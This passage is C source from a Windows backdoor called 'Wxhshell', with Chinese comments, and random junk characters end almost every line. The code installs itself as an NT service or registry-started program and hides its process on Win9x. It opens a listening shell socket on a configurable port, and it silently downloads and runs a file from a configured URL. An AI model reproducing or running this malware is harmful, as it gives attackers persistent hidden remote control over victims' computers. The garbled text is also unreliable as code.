ULONG UniqueProcessId; J%M [8
ULONG InheritedFromUniqueProcessId; KB(W'M_D\
} PROCESS_BASIC_INFORMATION; :Jv5Flxl
/>/e
PROCNTQSIP NtQueryInformationProcess; wJCw6&D,/
6N5(DD
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1 <+aF,
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +}a(jO
4KnBb_w
HANDLE hProcess; zB~< @
PROCESS_BASIC_INFORMATION pbi; Y:t?W
:zLf~W
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |%mZ|,[
if(NULL == hInst ) return 0; ?+.C@_QZQ
lw.[qP
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); LdN[N^n[H
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1gbFl/i6T
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g= Vu'p 3u
V
K 7
if (!NtQueryInformationProcess) return 0; /lu|FWbEw
yNP4Ey
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vZ"gCf3#?3
if(!hProcess) return 0; E5M/XW\E6
|D"L!+J-$
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )H{1Xjh-
k4{|Xn
CloseHandle(hProcess); ?X@[ibH6
QOSMV#Nw%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #X?[")R
if(hProcess==NULL) return 0; ,}gJY^X+
&{a!)I>
HMODULE hMod; A@)Q-V8*9s
char procName[255]; i\ X3t5
unsigned long cbNeeded; C9sU^]#F
A#T"4'#?<
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3zD#V3=
UNa"\
CloseHandle(hProcess); m{ !$_z8:
zdRVAcrwQ
if(strstr(procName,"services")) return 1; // 以服务启动 rSJ!vQo
Cb
Pg(Y}Tu
return 0; // 注册表启动 ,#3Aaw
} BoYY^ih
`v``}8tm
// 主模块 Jcze.t
int StartWxhshell(LPSTR lpCmdLine) ofQs
/
{ aO&{.DO2
SOCKET wsl; 6dr'nP
BOOL val=TRUE; Y$v #>w_M
int port=0; p7;K] AW
struct sockaddr_in door; [+dCA
@i>)x*I#AI
if(wscfg.ws_autoins) Install(); jsE8=zZs
lt6wmCe
port=atoi(lpCmdLine); `+n#CWZ"Y
18rV Acj
if(port<=0) port=wscfg.ws_port; 20|_wAA5
AYfOETz
WSADATA data; z:f&k}(
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N'ER!=l)
Z%3CmKdeF
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Rh^@1{yr
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q=5aHH% |
door.sin_family = AF_INET; |> STb\
door.sin_addr.s_addr = inet_addr("127.0.0.1"); MSS[-}
door.sin_port = htons(port); -@(LN%7!C
SqPqL<,e
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { auK9wQ%\
closesocket(wsl); { im?tZ,
return 1; p-.kBF
}
QvZ"{
wz`% (\
if(listen(wsl,2) == INVALID_SOCKET) { <?7qI8 5OT
closesocket(wsl); Eu(QeST\
return 1; D}y W:Pi'
} }jCO@v;
Wxhshell(wsl); P".}Y[GD
WSACleanup(); 5`p9Xo>)yW
JyE-c}I
return 0; >JE+j=
Y`j$7!j
} r
1r@TG\
(7G4 v
// 以NT服务方式启动 zJw5+
+
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8*0QVFn$
{ 8C*@d_=q
DWORD status = 0; f5 bq)Pm&
DWORD specificError = 0xfffffff; ~
q-Z-MA
`YqtI/-w
serviceStatus.dwServiceType = SERVICE_WIN32; t7-]OY7%w_
serviceStatus.dwCurrentState = SERVICE_START_PENDING; B3ItZojAuw
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %RV81H9B
serviceStatus.dwWin32ExitCode = 0; #b;?:.m\=
serviceStatus.dwServiceSpecificExitCode = 0; g0zzDv7~
serviceStatus.dwCheckPoint = 0; r!Dk_|Cd
serviceStatus.dwWaitHint = 0; D^@@ P
Qz|T0\=V
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~7ZZb*].(
if (hServiceStatusHandle==0) return; zG_n x3
cQt&%SVT]E
status = GetLastError(); ~NK $rHwi%
if (status!=NO_ERROR) 7!AyL w
{ aDRcVA$*
serviceStatus.dwCurrentState = SERVICE_STOPPED; x[{\Aw>$.
serviceStatus.dwCheckPoint = 0; V _~lME
serviceStatus.dwWaitHint = 0; Jd7chIK
serviceStatus.dwWin32ExitCode = status; M99ku'
serviceStatus.dwServiceSpecificExitCode = specificError; j ^j"w(a
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ly`
A,dh
return; {V>F69IU
} _"
9 q(1
Ps@']]4>W
serviceStatus.dwCurrentState = SERVICE_RUNNING; c0Ih$z
serviceStatus.dwCheckPoint = 0; $}su'EIo
serviceStatus.dwWaitHint = 0; 0L/chP
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LnE/62){N
} bSw^a{~)
;EJ!I+
// 处理NT服务事件,比如:启动、停止 L/ibnGhq]
VOID WINAPI NTServiceHandler(DWORD fdwControl) [>v1JN
{ Cqnuf5e>L
switch(fdwControl) aH."|
*.
{ ]?(kaNQ"D
case SERVICE_CONTROL_STOP: v1{j1~ZR
serviceStatus.dwWin32ExitCode = 0; n{TWdC
serviceStatus.dwCurrentState = SERVICE_STOPPED; o~XK*f=(
serviceStatus.dwCheckPoint = 0; A*DN/lG
serviceStatus.dwWaitHint = 0; D-{*3?x
{ g PCf+>X{
SetServiceStatus(hServiceStatusHandle, &serviceStatus); aC}\`.Kb
} jr)M],
return; ,1~zYL?
case SERVICE_CONTROL_PAUSE: d?X,od6
serviceStatus.dwCurrentState = SERVICE_PAUSED; fr(Ja;
break; X?t;uZI^
case SERVICE_CONTROL_CONTINUE: $(D>v!dp
serviceStatus.dwCurrentState = SERVICE_RUNNING; 4\-11!'08
break; f\oW<2k]~
case SERVICE_CONTROL_INTERROGATE: mce qZv
break; B{Vc-qJ
}; |^Y"*Y4*h
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
)$TN%hV!
} \Vx^u}3O
FQO=}0Hl
// 标准应用程序主函数 v Z]j%c@
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eXKEx4rU
{ ;&=jSgr8
SN@>m pcJS
// 获取操作系统版本 -OJ <Lf+"=
OsIsNt=GetOsVer(); 1J9p1_d5
GetModuleFileName(NULL,ExeFile,MAX_PATH); }=EJM7sM|k
`\VtTS
// 从命令行安装 q!Ek
EW\n
if(strpbrk(lpCmdLine,"iI")) Install(); r =x"E$
BO*)cLQ
// 下载执行文件 Ee}|!n>
if(wscfg.ws_downexe) { Yd4X*Ua
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =7}1NeC`
WinExec(wscfg.ws_filenam,SW_HIDE); iHNQxLkk{:
} cVx SO`jZw
fCUx93,>z
if(!OsIsNt) { 15jQ87)
// 如果时win9x,隐藏进程并且设置为注册表启动 S'HA]
HideProc(); 4k^P1
StartWxhshell(lpCmdLine); P0m9($JBD
} f@;pN=PS
else 3r+c&^
if(StartFromService()) 2g O@
// 以服务方式启动 :N<Qk
StartServiceCtrlDispatcher(DispatchTable); 4eB'mPor
else ]8%E'd
// 普通方式启动 PsUO8g'\
StartWxhshell(lpCmdLine); 82,^Pu
RTlC]`IGT
return 0; 9 RDs`>v
}